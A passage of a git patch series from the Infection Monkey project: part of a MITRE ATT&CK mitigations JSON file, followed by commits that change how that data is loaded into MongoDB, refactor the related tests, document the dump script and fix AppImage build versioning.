Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1496", "mitigations": [{"name": "Resource Hijacking Mitigation", "description": "Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1037", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1022", "mitigations": [{"name": "Data Encrypted Mitigation", "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1004", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1206", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1005", "mitigations": [{"name": "Data from Local System Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1129", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1061", "mitigations": [{"name": "Graphical User Interface Mitigation", "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.", "url": ""}]}, {"_id": "T1002", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1065", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1089", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1485", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1112", "mitigations": [{"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1499", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1185", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1101", "mitigations": [{"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}]}, {"_id": "T1182", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1109", "mitigations": [{"name": "Component Firmware Mitigation", "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.", "url": ""}]}, {"_id": "T1488", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1026", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1207", "mitigations": [{"name": "DCShadow Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", "url": ""}]}, {"_id": "T1506", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1051", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1141", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1208", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1023", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1116", "mitigations": [{"name": "Code Signing Mitigation", "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", "url": ""}]}, {"_id": "T1138", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}]}, {"_id": "T1106", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1498", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1025", "mitigations": [{"name": "Data from Removable Media Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1066", "mitigations": [{"name": "Indicator Removal from Tools Mitigation", "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.", "url": ""}]}]} diff --git a/monkey/monkey_island/cc/setup/mongo/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py index 761617a08..055614407 100644 --- a/monkey/monkey_island/cc/setup/mongo/database_initializer.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -1,6 +1,7 @@ import json import logging from pathlib import Path +from pprint import pformat from pymongo import errors @@ -46,8 +47,11 @@ def _try_store_mitigations_on_mongo(): def _store_mitigations_on_mongo(): try: with open(ATTACK_MITIGATION_PATH) as f: - file_data = json.load(f) + attack_mitigations = json.load(f) + + logger.debug(f'Loading attack mitigations data:\n{pformat(attack_mitigations["metadata"])}') + mongodb_collection = mongo.db[AttackMitigations.COLLECTION_NAME] - mongodb_collection.insert_many(file_data) + mongodb_collection.insert_many(attack_mitigations["data"]) except json.decoder.JSONDecodeError as e: raise Exception(f"Invalid attack mitigations {ATTACK_MITIGATION_PATH} file: {e}") diff --git a/monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json b/monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json index dace1ebec..274b5ac75 100644 --- a/monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json +++ b/monkey/tests/data_for_tests/mongo_mitigations/attack_mitigations.json @@ -1 +1 @@ -[{"_id": "T1066", "mitigations": [{"name": "Indicator Removal from Tools Mitigation", "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.", "url": ""}]}, {"_id": "T1047", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1156", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}] +{"metadata":{"timestamp": "1632959947.9542503", "commit_hash": "fb8942b1a", "origin_url": "https://github.com/guardicore/cti.git"},"data":[{"_id": "T1066", "mitigations": [{"name": "Indicator Removal from Tools Mitigation", "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.", "url": ""}]}, {"_id": "T1047", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1156", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}]} diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py index 5388bdd8e..2557a4d9c 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py @@ -53,7 +53,7 @@ def test_get_all_mitigations(): ) with open(attack_mitigation_path) as mitigations: - mitigations = json.load(mitigations) + mitigations = json.load(mitigations)["data"] assert len(mitigations) >= 266 mitigation = next(iter(mitigations))["mitigations"][0] assert mitigation["name"] is not None From 9ea5a56abdbbd46b63e493ed9c1fcdbd230654c4 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 30 Sep 2021 10:09:47 +0200 Subject: [PATCH 288/454] UT: Fix database_initializer test --- .../setup/mongo/test_database_initializer.py | 25 +++++++++---------- 1 file changed, 12 insertions(+), 13 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py index 2557a4d9c..ed20c5ea0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py @@ -1,11 +1,9 @@ -import json.decoder from pathlib import Path from unittest.mock import MagicMock import mongomock import pytest -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.setup.mongo.database_initializer import reset_database @@ -47,15 +45,16 @@ def test_store_mitigations_on_mongo__invalid_mitigation( reset_database() -def test_get_all_mitigations(): - attack_mitigation_path = ( - Path(MONKEY_ISLAND_ABS_PATH) / "cc" / "setup" / "mongo" / "attack_mitigations.json" - ) +def test_get_all_mitigations(monkeypatch, fake_mongo, fake_config): + fake_mongo.db.validate_collection = MagicMock(return_value=True) - with open(attack_mitigation_path) as mitigations: - mitigations = json.load(mitigations)["data"] - assert len(mitigations) >= 266 - mitigation = next(iter(mitigations))["mitigations"][0] - assert mitigation["name"] is not None - assert mitigation["description"] is not None - assert mitigation["url"] is not None + reset_database() + + mitigations = list(fake_mongo.db.attack_mitigations.find({})) + + assert len(mitigations) >= 266 + + mitigation = mitigations[0]["mitigations"][0] + assert mitigation["name"] is not None + assert mitigation["description"] is not None + assert mitigation["url"] is not None From 1ed6fed164b4087c53381e422dd4a56ac0651422 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 30 Sep 2021 11:06:09 +0200 Subject: [PATCH 289/454] Island: Remove attack_data submodule --- monkey/monkey_island/cc/services/attack/attack_data | 1 - 1 file changed, 1 deletion(-) delete mode 160000 monkey/monkey_island/cc/services/attack/attack_data diff --git a/monkey/monkey_island/cc/services/attack/attack_data b/monkey/monkey_island/cc/services/attack/attack_data deleted file mode 160000 index fb8942b1a..000000000 --- a/monkey/monkey_island/cc/services/attack/attack_data +++ /dev/null @@ -1 +0,0 @@ -Subproject commit fb8942b1a10f4e734ed75542f2ccae7cbd72c46d From 77c51497d0e2b4aa4781d6ba489552a9ff27f899 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 30 Sep 2021 11:44:06 +0200 Subject: [PATCH 290/454] docs: Add attack mitigations documentation --- docs/content/reference/attack_mitigations.md | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 docs/content/reference/attack_mitigations.md diff --git a/docs/content/reference/attack_mitigations.md b/docs/content/reference/attack_mitigations.md new file mode 100644 index 000000000..192b726c2 --- /dev/null +++ b/docs/content/reference/attack_mitigations.md @@ -0,0 +1,19 @@ +--- +title: "ATT&CK Mitigations" +date: 2021-09-30T08:18:37+03:00 +draft: true +pre: ' !! ' +weight: 10 +--- + +{{% notice info %}} +Check out [the documentation for the MITRE ATT&CK techniques as well]({{< ref "/reports/mitre" >}}). +{{% /notice %}} + +Infection Monkey is shipped with pre-existing ATT&CK mitigations located at `monkey/monkey_island/cc/setup/mongo/attack_mitigations.json`. +This allows Monkey Island to be setup faster. + +The `attack_mitigations.json` can be updated by running `monkey/deployment_scripts/dump_attack_mitigations.py` by providing the link to +[Cyber Threat Intelligence Repository](https://github.com/mitre/cti) , mongo host and port information and the dump file location. + +When starting Monkey Island this information is stored in the mongo database almost instantly, making the setup faster. From 43471c655357c4d839b4c18eaa281c9e691388c7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 30 Sep 2021 12:53:25 +0200 Subject: [PATCH 291/454] Island: Fix typing error in island spec --- monkey/monkey_island/monkey_island.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/monkey_island.spec b/monkey/monkey_island/monkey_island.spec index 756b5ae2c..80335d346 100644 --- a/monkey/monkey_island/monkey_island.spec +++ b/monkey/monkey_island/monkey_island.spec @@ -13,7 +13,7 @@ def main(): # The format of the tuples is (src, dest_dir). See https://pythonhosted.org/PyInstaller/spec-files.html#adding-data-files added_datas = [ ("../common/BUILD", "/common"), - ("../monkey_island/cc/services/mongo/attack_mitigations.json", "/monkey_island/cc/services/mongo/attack_mitigations.json") + ("../monkey_island/cc/setup/mongo/attack_mitigations.json", "/monkey_island/cc/setup/mongo/attack_mitigations.json") ] a = Analysis(['main.py'], From 6e92c84f892daeb9bf8321e364463e296cbe5ba9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 30 Sep 2021 10:18:13 -0400 Subject: [PATCH 292/454] Docs: Move attack mitigations from reference -> development --- docs/content/{reference => development}/attack_mitigations.md | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename docs/content/{reference => development}/attack_mitigations.md (100%) diff --git a/docs/content/reference/attack_mitigations.md b/docs/content/development/attack_mitigations.md similarity index 100% rename from docs/content/reference/attack_mitigations.md rename to docs/content/development/attack_mitigations.md From 0a3488b6808bcbd953edea7d7e3ce85f0ec0ab39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 30 Sep 2021 10:28:45 -0400 Subject: [PATCH 293/454] Deployment: Add requirements.txt for attack mitigations dump script --- .../dump_attack_mitigations/requirements.txt | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 deployment_scripts/dump_attack_mitigations/requirements.txt diff --git a/deployment_scripts/dump_attack_mitigations/requirements.txt b/deployment_scripts/dump_attack_mitigations/requirements.txt new file mode 100644 index 000000000..67893d8d7 --- /dev/null +++ b/deployment_scripts/dump_attack_mitigations/requirements.txt @@ -0,0 +1,13 @@ +antlr4-python3-runtime==4.8 +certifi==2021.5.30 +charset-normalizer==2.0.6 +idna==3.2 +mongoengine==0.23.1 +pymongo==3.12.0 +pytz==2021.1 +requests==2.26.0 +simplejson==3.17.5 +six==1.16.0 +stix2==3.0.1 +stix2-patterns==1.3.2 +urllib3==1.26.7 From f0c25b4b5e7aaf2cc24e4ac387325d952e932fd5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 30 Sep 2021 10:33:09 -0400 Subject: [PATCH 294/454] Docs: Add steps to attack mitigations dump script documentation --- .../content/development/attack_mitigations.md | 30 ++++++++++++++----- 1 file changed, 23 insertions(+), 7 deletions(-) diff --git a/docs/content/development/attack_mitigations.md b/docs/content/development/attack_mitigations.md index 192b726c2..88a585c97 100644 --- a/docs/content/development/attack_mitigations.md +++ b/docs/content/development/attack_mitigations.md @@ -1,8 +1,7 @@ --- -title: "ATT&CK Mitigations" +title: "MITRE ATT&CK Mitigations" date: 2021-09-30T08:18:37+03:00 draft: true -pre: ' !! ' weight: 10 --- @@ -10,10 +9,27 @@ weight: 10 Check out [the documentation for the MITRE ATT&CK techniques as well]({{< ref "/reports/mitre" >}}). {{% /notice %}} -Infection Monkey is shipped with pre-existing ATT&CK mitigations located at `monkey/monkey_island/cc/setup/mongo/attack_mitigations.json`. -This allows Monkey Island to be setup faster. +## Summary -The `attack_mitigations.json` can be updated by running `monkey/deployment_scripts/dump_attack_mitigations.py` by providing the link to -[Cyber Threat Intelligence Repository](https://github.com/mitre/cti) , mongo host and port information and the dump file location. +Infection Monkey is shipped with pre-processed information about MITRE ATT&CK +mitigations located at +`monkey/monkey_island/cc/setup/mongo/attack_mitigations.json`. -When starting Monkey Island this information is stored in the mongo database almost instantly, making the setup faster. +This may need to be periodically updated as the MITRE ATT&CK framework evolves. + + +## Updating the MITRE ATT&CK mitigations data +1. Clone the [MITRE Cyber Threat Intelligence + Repository](https://github.com/mitre/cti) or the [Guardicore + fork](https://github.com/guardicore/cti) + ``` + $ CTI_REPO=$PWD/cti + $ git clone $CTI_REPO + ``` +2. Start a mongodb v4.2 server +3. Run the script to generate the `attack_mitigations.json` file + ``` + $ cd monkey/deployment_scripts/dump_attack_mitigations + $ pip install -r requirements.txt + $ python dump_attack_mitigations.py --cti-repo $CTI_REPO --dump-file-path ../../monkey/monkey_island/cc/setup/mongo/attack_mitigations.json + ``` From fef6350871bd46cbed39d4a074c29975c2c74e03 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 30 Sep 2021 13:13:26 -0400 Subject: [PATCH 295/454] Tests: Reduced code duplication in database initializer tests --- .../setup/mongo/test_database_initializer.py | 67 +++++++++++-------- 1 file changed, 38 insertions(+), 29 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py index ed20c5ea0..d3ca3fbcc 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_database_initializer.py @@ -1,4 +1,3 @@ -from pathlib import Path from unittest.mock import MagicMock import mongomock @@ -8,49 +7,59 @@ from monkey_island.cc.setup.mongo.database_initializer import reset_database @pytest.fixture -def fake_mongo(monkeypatch): - mongo = mongomock.MongoClient() - monkeypatch.setattr("monkey_island.cc.setup.mongo.database_initializer.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.services.database.mongo", mongo) - return mongo +def patch_attack_mitigations_path(monkeypatch, data_for_tests_dir): + def inner(file_name): + path = data_for_tests_dir / "mongo_mitigations" / file_name + monkeypatch.setattr( + "monkey_island.cc.setup.mongo.database_initializer.ATTACK_MITIGATION_PATH", path + ) + + return inner + + +@pytest.fixture(scope="module", autouse=True) +def patch_dependencies(monkeypatch_session): + monkeypatch_session.setattr( + "monkey_island.cc.services.config.ConfigService.init_config", lambda: None + ) + monkeypatch_session.setattr( + "monkey_island.cc.services.attack.attack_config.AttackConfig.reset_config", lambda: None + ) + monkeypatch_session.setattr( + "monkey_island.cc.services.database.jsonify", MagicMock(return_value=True) + ) @pytest.fixture -def fake_config(monkeypatch): - monkeypatch.setattr("monkey_island.cc.services.config.ConfigService.init_config", lambda: None) - monkeypatch.setattr("monkey_island.cc.services.attack.attack_config.AttackConfig.reset_config", lambda: None) - monkeypatch.setattr("monkey_island.cc.services.database.jsonify", MagicMock(return_value=True)) +def mock_mongo_client(monkeypatch): + mongo = mongomock.MongoClient() + mongo.db.validate_collection = MagicMock(return_value=True) + + monkeypatch.setattr("monkey_island.cc.setup.mongo.database_initializer.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.services.database.mongo", mongo) + + return mongo -def test_store_mitigations_on_mongo(monkeypatch, data_for_tests_dir, fake_mongo, fake_config): - monkeypatch.setattr( - "monkey_island.cc.setup.mongo.database_initializer.ATTACK_MITIGATION_PATH", - Path(data_for_tests_dir) / "mongo_mitigations" / "attack_mitigations.json", - ) - fake_mongo.db.validate_collection = MagicMock(return_value=True) +def test_store_mitigations_on_mongo(patch_attack_mitigations_path, mock_mongo_client): + patch_attack_mitigations_path("attack_mitigations.json") + reset_database() - assert len(list(fake_mongo.db.attack_mitigations.find({}))) == 3 + assert len(list(mock_mongo_client.db.attack_mitigations.find({}))) == 3 -def test_store_mitigations_on_mongo__invalid_mitigation( - monkeypatch, data_for_tests_dir, fake_mongo, fake_config -): - monkeypatch.setattr( - "monkey_island.cc.setup.mongo.database_initializer.ATTACK_MITIGATION_PATH", - Path(data_for_tests_dir) / "mongo_mitigations" / "invalid_mitigation", - ) - fake_mongo.db.validate_collection = MagicMock(return_value=True) +def test_store_mitigations_on_mongo__invalid_mitigation(patch_attack_mitigations_path): + patch_attack_mitigations_path("invalid_mitigation") + with pytest.raises(Exception): reset_database() -def test_get_all_mitigations(monkeypatch, fake_mongo, fake_config): - fake_mongo.db.validate_collection = MagicMock(return_value=True) - +def test_get_all_mitigations(mock_mongo_client): reset_database() - mitigations = list(fake_mongo.db.attack_mitigations.find({})) + mitigations = list(mock_mongo_client.db.attack_mitigations.find({})) assert len(mitigations) >= 266 From c30d5721f2c4fdf43b371a517dcce38f7d30f296 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 30 Sep 2021 14:08:29 -0400 Subject: [PATCH 296/454] Island: Fix formatting of database_initializer.py --- monkey/monkey_island/cc/setup/mongo/database_initializer.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/mongo/database_initializer.py b/monkey/monkey_island/cc/setup/mongo/database_initializer.py index 055614407..9a6054ca4 100644 --- a/monkey/monkey_island/cc/setup/mongo/database_initializer.py +++ b/monkey/monkey_island/cc/setup/mongo/database_initializer.py @@ -7,8 +7,8 @@ from pymongo import errors from monkey_island.cc.database import mongo from monkey_island.cc.models.attack.attack_mitigations import AttackMitigations -from monkey_island.cc.services.database import Database from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.services.database import Database logger = logging.getLogger(__name__) @@ -20,6 +20,7 @@ ATTACK_MITIGATION_PATH = ( / f"{AttackMitigations.COLLECTION_NAME}.json" ) + def reset_database(): Database.reset_db() if Database.is_mitigations_missing(): From 2d701e45dfe59cdcc8b197ef775cabfbdce96866 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 30 Sep 2021 15:39:17 -0400 Subject: [PATCH 297/454] Build: Set PYTHONNOUSERSITE in AppRun Fixes #1500 --- build_scripts/appimage/AppRun | 2 ++ 1 file changed, 2 insertions(+) diff --git a/build_scripts/appimage/AppRun b/build_scripts/appimage/AppRun index 47f17a778..53ef0fa5e 100755 --- a/build_scripts/appimage/AppRun +++ b/build_scripts/appimage/AppRun @@ -25,5 +25,7 @@ do fi done +export PYTHONNOUSERSITE=1 (PYTHONHOME="${APPDIR}/opt/python3.7" exec "${APPDIR}/opt/python3.7/bin/python3.7" "${APPDIR}/usr/src/monkey_island.py" $@) + exit "$?" From 2f88de6f0895d686400ff6eb82f73370bb4aba27 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 30 Sep 2021 15:41:37 -0400 Subject: [PATCH 298/454] Build: Fix AppImage package version --- build_scripts/appimage/appimage.sh | 15 ++++++++++----- 1 file changed, 10 insertions(+), 5 deletions(-) diff --git a/build_scripts/appimage/appimage.sh b/build_scripts/appimage/appimage.sh index 20dbe7c97..4b575e568 100755 --- a/build_scripts/appimage/appimage.sh +++ b/build_scripts/appimage/appimage.sh @@ -108,8 +108,9 @@ build_package() { local dist_dir=$2 log_message "Building AppImage" - pushd "$APPIMAGE_DIR" + set_version "$version" + pushd "$APPIMAGE_DIR" ARCH="x86_64" linuxdeploy \ --appdir "$APPIMAGE_DIR/squashfs-root" \ --icon-file "$ICON_PATH" \ @@ -118,15 +119,19 @@ build_package() { --deploy-deps-only="$MONGO_PATH/bin/mongod"\ --output appimage - apply_version_to_appimage "$version" move_package_to_dist_dir $dist_dir popd } -apply_version_to_appimage() { - log_message "Renaming Infection_Monkey-x86_64.AppImage -> Infection_Monkey-$1-x86_64.AppImage" - mv "Infection_Monkey-x86_64.AppImage" "Infection_Monkey-$1-x86_64.AppImage" +set_version() { + # The linuxdeploy and appimage-builder tools will use the commit hash of the + # repo to name the AppImage, which is preferable to using "dev". If the + # version was specified in a command-line argument (i.e. not "dev"), then + # setting the VERSION environment variable will change this behavior. + if [ $1 != "dev" ]; then + export VERSION=$1 + fi } move_package_to_dist_dir() { From f97ec4e9edaaa0b9e6ca17c9774e73240cdb2363 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Oct 2021 11:26:43 +0300 Subject: [PATCH 299/454] Implement data store encryptor key removal on registration and unit tests for data store encryptor Data store key needs to be deleted upon registration to create a new one. --- .../cc/resources/auth/registration.py | 4 +- .../cc/server_utils/encryption/__init__.py | 3 ++ .../encryption/data_store_encryptor.py | 26 ++++++++-- .../encryption/test_data_store_encryptor.py | 47 ++++++++++++++++++- 4 files changed, 71 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index 0877ee4a3..e6743302f 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py 